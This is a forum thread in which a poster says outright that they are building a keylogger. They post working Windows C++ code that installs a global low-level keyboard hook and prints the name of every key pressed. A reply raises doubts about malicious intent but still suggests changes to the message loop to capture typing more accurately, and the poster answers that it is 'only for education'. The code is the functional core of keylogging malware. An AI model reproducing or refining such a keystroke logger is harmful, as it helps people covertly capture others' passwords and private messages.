GetKeyNameText 16 bit shift? How to not use case-switch structure with vkeycodes?

Hello guys. Latest implementation of keylogger is being implemented.
I do not want to implement a huge ass case and switch structure with virtual key codes, so i am using some helpful functions. However they work somewhat.

Ive looked on the internet here: http://cboard.cprogramming.com/windows-p...gy-me.html

And this guy has the mapvritualkey() being shifted 16 bits? Why would they do that? It works, but in some cases fails?
Then he posts the solution at the end of the thread, and i refuse to use such solution without understanding.

Anyone have a clue as to why he bitshifted?

Here is my current code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){

    PKBDLLHOOKSTRUCT structdll = (PKBDLLHOOKSTRUCT) lParam;
    switch(nCode){

    case HC_ACTION:
    switch(wParam){

    case WM_KEYDOWN:{

    //How should i change the following lines?
    char buffer[256];
    GetKeyNameText((MapVirtualKey(structdll->vkCode, 0)<<16), buffer, 50);

    //Should i use toascii instead? If so, I tried it and Im not using it correctly.

    //ToAscii(structdll->vkCode, structdll->scanCode, NULL, myword, 0);

    std::cout << "\n" << buffer;

    }
    break;
    }
    break;
    }

    return CallNextHookEx(NULL, nCode, wParam,lParam);

    }

    int main(){

    HINSTANCE hinst = GetModuleHandle(NULL);

    HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinst, 0);
    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0)){

    TranslateMessage(&msg);
    DispatchMessage(&msg);

    }

    UnhookWindowsHookEx(hhkLowLevelKybd);
    }
bump
Hrmm... I don't particularly like aiding people who are making things for malicious purposes so don't use it as so o_O.

It really doesnt have a purpose other than to delete bitspaces not used and as far as why this program isnt working as good as you want is because your using GetMessage() instead of PeekMessage(). Remove all other messages in your message pump besides keyboard messages and it will run significantly faster and be more accurate as to what the person is typing.

Hmm thanks.
This is not for malicious purposes. It is only for education.
Ill use peekmessage and see
Topic archived. No new replies allowed.